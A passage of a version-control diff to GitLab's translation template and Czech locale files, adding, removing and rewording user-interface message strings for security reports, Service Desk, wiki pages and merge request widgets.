+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
+msgstr ""
+
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -26759,15 +27446,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -26819,9 +27497,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -26831,9 +27506,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -26870,6 +27542,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -26879,7 +27554,7 @@ msgstr ""
msgid "Select a label"
msgstr ""
-msgid "Select a namespace to fork the project"
+msgid "Select a milestone"
msgstr ""
msgid "Select a new namespace"
@@ -26909,9 +27584,15 @@ msgstr ""
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -26966,9 +27647,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -27062,6 +27740,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27200,19 +27881,43 @@ msgstr ""
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "Service URL"
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Templates"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service URL"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
msgstr ""
msgid "Session ID"
@@ -27314,6 +28019,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27368,7 +28076,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27380,6 +28088,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr ""
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr ""
@@ -27401,6 +28112,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr ""
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -27606,9 +28320,15 @@ msgstr[1] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -27627,6 +28347,9 @@ msgstr ""
msgid "Side-by-side"
msgstr ""
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -27867,6 +28590,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28545,13 +29271,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28566,9 +29292,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28581,7 +29304,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -28671,9 +29394,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -28689,9 +29409,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr ""
@@ -28749,9 +29466,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29377,6 +30091,11 @@ msgstr ""
msgid "Test coverage parsing"
msgstr ""
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29534,9 +30253,6 @@ msgstr[1] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29609,6 +30325,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29636,6 +30355,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29648,6 +30370,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -29710,6 +30435,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -29770,6 +30498,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -29842,6 +30573,9 @@ msgstr ""
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -29893,6 +30627,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr ""
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -29941,6 +30678,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -29968,6 +30711,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr ""
@@ -30001,9 +30747,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr ""
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30247,6 +30990,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr ""
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr ""
@@ -30385,7 +31131,7 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30469,6 +31215,9 @@ msgstr ""
msgid "This group"
msgstr ""
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30478,6 +31227,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30490,6 +31242,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -30796,9 +31551,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -30895,9 +31647,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31196,6 +31945,15 @@ msgstr ""
msgid "To GitLab"
msgstr ""
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31238,9 +31996,6 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
@@ -31268,7 +32023,7 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31373,6 +32128,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr ""
@@ -31570,10 +32328,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -31708,9 +32466,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr ""
-
msgid "Turn on usage ping"
msgstr ""
@@ -31765,6 +32520,12 @@ msgstr ""
msgid "URL"
msgstr ""
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -32167,7 +32928,7 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32176,6 +32937,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32272,6 +33036,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -32470,9 +33237,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr ""
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32524,6 +33288,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32569,7 +33336,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -32797,9 +33567,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -32866,7 +33633,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -32875,6 +33657,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -33026,9 +33814,15 @@ msgstr ""
msgid "View log"
msgstr ""
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr ""
@@ -33056,6 +33850,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -33065,6 +33862,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33470,15 +34270,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -33653,6 +34468,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -33751,9 +34569,6 @@ msgstr ""
msgid "WikiClone|Start Gollum and edit locally"
msgstr ""
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -33826,34 +34641,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgstr ""
+
+msgid "WikiPageConfirmDelete|Delete page"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Create page"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Format"
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|Page title"
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -33865,9 +34695,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -33880,9 +34707,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -33943,6 +34767,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -34099,6 +34926,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34240,6 +35073,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34324,9 +35160,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34363,12 +35196,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34402,7 +35229,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34417,9 +35244,6 @@ msgstr ""
msgid "You need permission."
msgstr ""
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34603,12 +35427,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -34729,6 +35559,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -34822,7 +35655,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -34929,6 +35762,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35231,6 +36067,15 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35415,6 +36260,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -35585,7 +36433,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35620,13 +36468,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -35740,9 +36585,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -35893,18 +36735,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr ""
@@ -35935,9 +36771,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36004,15 +36837,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36290,9 +37114,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36338,6 +37159,12 @@ msgstr ""
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/cs_CZ/gitlab.po b/locale/cs_CZ/gitlab.po
index fdb49bfaf92..3d204b4833c 100644
--- a/locale/cs_CZ/gitlab.po
+++ b/locale/cs_CZ/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: cs\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:54\n"
+"PO-Revision-Date: 2021-04-02 00:15\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -140,6 +140,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
